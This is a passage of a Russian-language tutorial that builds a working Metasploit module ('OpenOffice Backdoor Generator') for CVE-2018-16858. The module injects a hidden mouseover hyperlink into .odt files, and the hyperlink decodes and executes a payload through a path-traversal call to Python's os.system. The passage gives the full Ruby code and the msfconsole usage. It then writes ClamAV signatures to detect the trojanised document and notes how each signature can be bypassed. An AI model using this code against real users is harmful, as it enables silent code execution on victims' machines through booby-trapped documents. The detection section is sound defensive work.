This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
С тем, что определено в инициализации, мы уже можем приступить к созданию логической части эксплойта, в которой будут выполняться те же действия, что и в эксплойте, написанном на bash, но теперь на языке ruby, используемом Metasploit. Будет сделано то же самое, но с использованием возможностей языка ruby.
Функция, которую нужно определить (именно её вызывает Metasploit при вводе exploit или run в msfconsole), должна называться exploit. Внутри этой функции будет определена сама программа, выполняющая соответствующие действия на основе атрибутов, определённых при инициализации созданного объекта.
Первое, что нужно сделать, — проверить, что имена файлов, заданные пользователем, заканчиваются на .odt. Это можно сделать, проверив содержимое переменных datastore['INPUT'] и datastore['OUTPUT']. Можно использовать метод to_s, который преобразует в строку, и end_with, который позволяет определить, заканчивается ли строка заданным значением. Например, следующий вызов:
datastore['INPUT'].to_s.end_with?('.odt')
Возвращает true, если путь input заканчивается на .odt, или false в противном случае. Таким образом, проверка будет выглядеть так:
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
После этой проверки начнём распаковывать файл, чтобы изменить содержимое content.xml и styles.xml так же, как это было сделано в предыдущем разделе. Это будет выполнено с помощью класса Zip, который позволяет открывать и читать zip-файлы в памяти без необходимости сбрасывать содержимое непосредственно в выходной файл. Это делается через вызов Zip::File.open, который вернёт объект, содержащий атрибут типа итератора. С помощью этого атрибута можно будет прочитать каждый файл, распакованный в памяти. Вызов, который мы выполним, связанный с datastore, где находится путь к файлу .zip, и с помощью итератора будем сохранять каждый распакованный файл в переменную entry, будет следующим:
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
Zip-файл открывается в объекте zipfile, и из него берётся итератор с помощью each, который сохраняется в переменной entry. Эта переменная позволяет напрямую обращаться к уже распакованным файлам и их атрибутам. С помощью entry.name можно получить доступ к имени исходного файла. Поскольку нужно изменить файлы с именами styles.xml и content.xml, с помощью простого сравнения можно будет прочитать файл для внесения изменений. Остальные файлы будут оставлены без изменений. Переменная entry также имеет метод get_input_stream, благодаря которому можно обращаться к файлам zip так же, как к любым файлам на жестком диске. Класс inputStream имеет метод read, который напрямую сбрасывает всё содержимое файла в переменную. Наконец, переменная entry также имеет метод is_directory, который позволяет узнать, является ли файл в zip-архиве файлом или папкой; если это папка, её можно пропустить и не читать методом read, так как это элемент структуры самого zip, не имеющий содержимого как такового. Имея все эти методы, мы можем приступить к созданию общей структуры алгоритма, который будет различать: является ли файл одним из файлов, которые нужно изменить, файлом, который не нужно менять, или просто каталогом. Общая структура этой части будет следующей:
if entry.name == "content.xml"
elsif entry.name == "styles.xml"
else
if !entry.name_is_directory?
end
end
Если читаемый файл называется content.xml, нужно вставить выбранную пользователем полезную нагрузку; если он называется styles.xml, нужно изменить стиль гиперссылок; и, наконец, если это ни один из этих файлов, и это не каталог, то нужно просто вставить файл без каких-либо изменений.
Идеальная обработка — вставлять файлы в новый документ по мере их чтения. Поэтому, так же как мы открыли файл для чтения с помощью класса Zip, мы откроем другой файл для записи, куда будут включаться файлы в сжатый архив на лету.
Аналогичным образом выполняется вызов метода File.open класса Zip, и возвращаемая переменная используется для вставки в открываемый файл различных файлов, которые нужно поместить в выходной архив. Первый параметр метода — это имя файла, полученное из имени, которое пользователь задал через интерфейс msfconsole. Доступ к этому имени осуществляется через переменную datastore['OUTPUT']. Вторым параметром будет указано, что мы хотим создать новый zip-файл с помощью константы Zip::File::CREATE. Аналогично тому, как открывалось чтение, здесь строка программы будет следующей:
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Как уже говорилось, переменная outzip будет использоваться для вставки новых данных в zip. Так же, как для чтения файла из zip можно было использовать метод get_input_stream, для записи в него будет использоваться его аналог get_output_stream, а метод write — для записи содержимого в файл. Входным параметром для метода get_output_stream является имя файла. Таким образом, имея доступ к имени прочитанного файла через entry.name и к содержанию прочитанного файла через entry.get_input_stream.read, для чтения файла из zip и прямой записи его в выходной zip можно сделать следующее:
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
Как видно, в data будет полное содержимое файла. Поэтому, если имя входного файла — styles.xml или content.xml, нужно изменить это содержимое перед записью; в остальных случаях ничего менять не нужно.
Как и в случае с командой sed из командной строки, в Ruby есть функция gsub, которая работает точно так же. В случае файла стилей можно выполнить функцию sub следующим образом:
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
Как видно, в этой функции нет ничего особенно примечательного. Делается то же самое, что и в эксплойте на bash. После выполнения этого изменения уже можно записать переменную data в выходной файл zip.
Случай с content.xml требует вставки выбранной пользователем полезной нагрузки, поэтому её нужно загрузить в переменную в формате base64, чтобы затем вставить в нужное место файла. Содержимое полезной нагрузки для выполнения можно получить через переменную payload. Поскольку нам нужна полезная нагрузка в исполняемом формате, будет вызван метод encoded_exe(), который позволяет получить полезную нагрузку в виде исполняемого файла, а не просто инструкций без необходимой части для выполнения как отдельной команды. Поскольку нужен формат base64, бинарные данные будут закодированы в base64 с помощью класса REX вызовом метода Text.encode_base64, который принимает на вход данные для кодирования. Инструкции, вставляемые в программу, будут выглядеть следующим образом:
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
Таким образом, в b64_payload будет содержаться исполняемая полезная нагрузка в base64. Наконец, будут использоваться изменения, аналогичные тем, что выполнялись в команде sed, где вместо кода base64, применявшегося в предыдущем разделе, будет вставлено слово PAYLOAD. После всех изменений в конце будет добавлен новый gsub, эквивалентный последнему изменению, в котором литерал PAYLOAD будет заменён содержимым переменной b64_payload. Код будет выглядеть следующим образом:
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
На этом вся желаемая функциональность модуля будет реализована. Полный код модуля будет следующим:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
def exploit
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
print "Ok we have the input and output file. Lets rock!!!\n\n"
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
if entry.name == "content.xml"
print "Changing content to insert command execution!!!\n"
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
data = entry.get_input_stream.read
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
outzip.get_output_stream(entry.name) { |f| f.write data}
elsif entry.name == "styles.xml"
print "Changing style to make the user not to view the hyperlink.\n\n"
data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
outzip.get_output_stream(entry.name) { |f| f.write data}
else
if !entry.name_is_directory?
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
end
end
end
end
end
else
print_error 'INPUT and OUTPUT must be both .odt file extension'
end
end
end
После генерации программа будет сохранена в файле с именем libreoffice.rb и скопирована по пути /modules/exploits/linux/misc. При следующем запуске msfconsole этот новый модуль загрузится. Его можно будет использовать, как и остальные модули, выполнив:
msf5 > use exploit/linux/misc/libreoffice
msf5 exploit(linux/misc/libreoffice) >
Там можно будет просмотреть опции:
msf5 exploit(linux/misc/libreoffice) > show options
Module options (exploit/linux/misc/libreoffice):
Name Current Setting Required Description
---- --------------- -------- -----------
INPUT yes Path and filename to existing .odt to inject the payload selected.
OUTPUT yes Path and filename to make a new infected .odt file.
Exploit target:
Id Name
-- ----
0 linux
И можно будет выбрать входной файл, задав значение для INPUT, значение для OUTPUT и установив совместимую полезную нагрузку с помощью команды set payload.
После создания выходного файла odt будет использоваться универсальный обработчик use exploit/multi/handler с полезной нагрузкой, совместимой с выбранной при генерации файла .odt.
В качестве последнего шага будет выполнена генерация ряда антивирусных сигнатур, позволяющих обнаружить созданный бэкдор, чтобы избежать данной угрозы. Поскольку большинство антивирусов являются проприетарными, будет использовано антивирусное программное обеспечение ClamAV с открытым исходным кодом, которое может работать на всех платформах.
Первая создаваемая сигнатура будет статической — это самый простой тип сигнатур, но также и самый лёгкий для обхода или байпаса. Такие сигнатуры в основном состоят из статического хэша и размера файла. Формат, требуемый антивирусом ClamAV, предполагает, что в файле с расширением .hdb должны быть строки, начинающиеся с хэша (md5 или sha1), за которым следует размер в байтах и желаемое имя вируса. Каждая строка содержит только одно определение вируса, и каждое поле отделяется символом :.
Если у нас есть файл exploit.odt, для которого требуется создать сигнатуру, можно выбрать вычисление хэша md5 или sha1 — это легко сделать с помощью команд Linux md5sum и sha1sum. Команды выполняются просто с указанием имени команды и файла для вычисления, примерно так:
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt
9158e2fc2f87b5ee050a279a38f6bfac exploit.odt
user@host:~/$ sha1sum exploit.odt
a39979533831fbb9eac4ba6c13469b4d421fc1c7 exploit.odt
Для вычисления размера файла проще всего использовать команду ls, передав ей путь к файлу, примерно так:
user@host:~/$ ls -al exploit.odt
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt
Таким образом, можно создать файл с расширением .hdb, содержащий хэш md5 или sha1 и полученный размер, что будет выглядеть так:
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B
При запуске ClamAV необходимо указать, что будет использоваться создаваемый файл сигнатур. Таким образом, для проверки вирусов с помощью базы данных LibreOfficeSign.hdb выполняется следующее:
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)
Этот тип сигнатур очень чувствителен: при любом изменении в вредоносном ПО антивирус может его не распознать. Используемый для сигнатуры хэш (md5 или sha1) при любом изменении любого бита файла приведёт к тому, что он не будет обнаружен как вирус. Если просто распаковать (unzip) сгенерированный .odt и изменить любую букву текста документа (например, a на A), этого уже будет достаточно для обхода антивируса.
Теперь создадим более интеллектуальную сигнатуру, используя систему динамических сигнатур ClamAV. Такие сигнатуры должны размещаться в файле с расширением .ndb вместо .hdb. Формат сигнатур внутри файла, хотя и похож на ранее упомянутые, но вместо хэшей всего файла использует идентификаторы внутри файла. Выполняются определённые сравнения определённых строк файла, и если они присутствуют, файл будет распознан как вредоносное ПО.
Формат начинается с имени угрозы, за которым следует тип файла, в котором должен содержаться вредоносный код. Число 0 означает, что вредоносное ПО может находиться в файле любого типа. Есть 1 для определения, что вредоносное ПО воздействует только на 32- или 64-битный исполняемый файл exe, 6 — для определения, что оно находится только в исполняемых файлах ELF Unix, или 7 — для файлов типа ASCII. Следующее поле задаёт количество байт, с которого начинать сравнение байтов строки, которую необходимо идентифицировать внутри файла. Можно использовать wildcard *, чтобы указать, что строка может начинаться в любом месте файла. После этого указывается строка байтов, которая позволяет идентифицировать вредоносное ПО. Определение поиска состоит из шестнадцатеричных кодов, следующих друг за другом.
Один из способов получить шестнадцатеричные коды определённого файла — использовать инструмент sigtool, передав на стандартный вход байты, и он вернёт шестнадцатеричное представление напрямую, которое можно использовать в сигнатуре. Другая подобная утилита — hexdump, но её вывод требует некоторой модификации. Для простоты сигнатура будет создана с помощью инструмента sigtool.
Часть файла, которую мы будем искать во второй создаваемой сигнатуре, будет очень простой — это путь, заданный с использованием directory transversal, до части выполнения файла os.py, так что, даже если изменить что-то в самом файле офиса, для выполнения кода бэкдора потребуется как минимум этот путь в файле. Сначала получим шестнадцатеричные коды следующей командой:
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
Важно включить в команду echo параметр -n, чтобы в конце не печатался символ перевода строки. Результат команды sigtool станет поисковым шаблоном, который будет использоваться как сигнатура, позволяющая антивирусу обнаружить троянизированный .odt.
Невозможно задать конкретное смещение для начала поиска, так как оно зависит от структуры каждого документа .odt, поэтому в поле смещения ставится символ *. В качестве типа файла укажем 1, чтобы антивирус выполнял поиск в файлах любого типа. Зададим имя, и итоговая сигнатура может выглядеть примерно так:
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
Сигнатура будет сохранена в файле LibreOfficeSign.ndb, причём важным является расширение файла. Снова можно запустить clamav, чтобы проверить, позволяет ли сгенерированная сигнатура обнаружить троян. Результат будет похож на следующий:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)
Хотя обойти обнаружение антивируса с помощью этой сигнатуры сложнее, недостаточно изменить любую часть текста документа Office. Обход по-прежнему возможен относительно очевидным способом, так как в определении сигнатуры использовалось конкретное количество ../. При генерации эксплойта количество шагов вниз должно быть относительно большим, чтобы с любого пути внутри Linux можно было достичь корневого каталога. Таким образом, достаточно удалить один ../ из пути, и эксплойт продолжит работу и выполнит созданный бэкдор. Поэтому будет использовано немного более продвинутое определение сигнатур, позволяющее обнаруживать вредоносное ПО с помощью регулярных выражений, а не использовать слишком жёсткие сигнатуры, которые перестают обнаруживать вредоносное ПО при очень простых модификациях.
Применим простую сигнатуру, которая позволит обнаружить вредоносное ПО при обнаружении попытки directory transversal. Кроме того, в учебных целях будет использован wildcard *, позволяющий задать неопределённое количество любых символов подряд. Существуют и другие подобные wildcard, например ??, который позволяет обнаружить любой символ, но только один раз. Также можно использовать wildcard {n} для обнаружения ровно n байт, {-n} и {n-} для определения не более n байт или не менее n байт соответственно.
Используем часть байтов, предшествующую directory transversal и определённую данными pythonSamples|, которые необходимо получить в шестнадцатеричном формате:
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c
Также получим шестнадцатеричный код ../ тем же способом:
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f
Таким образом, сигнатура, добавляемая в файл, будет представлять собой конкатенацию обеих последовательностей шестнадцатеричных символов через , то есть 707974686f6e53616d706c65737c2e2e2f. Полная сигнатура, которая окажется в файле LibreOfficeSign.ndb, будет следующей:
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f
При проверке после удаления одного из ../ из каждой гиперссылки в файле contents.xml, повторной сборке файла .odt и проверке антивирусом результат будет следующим:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)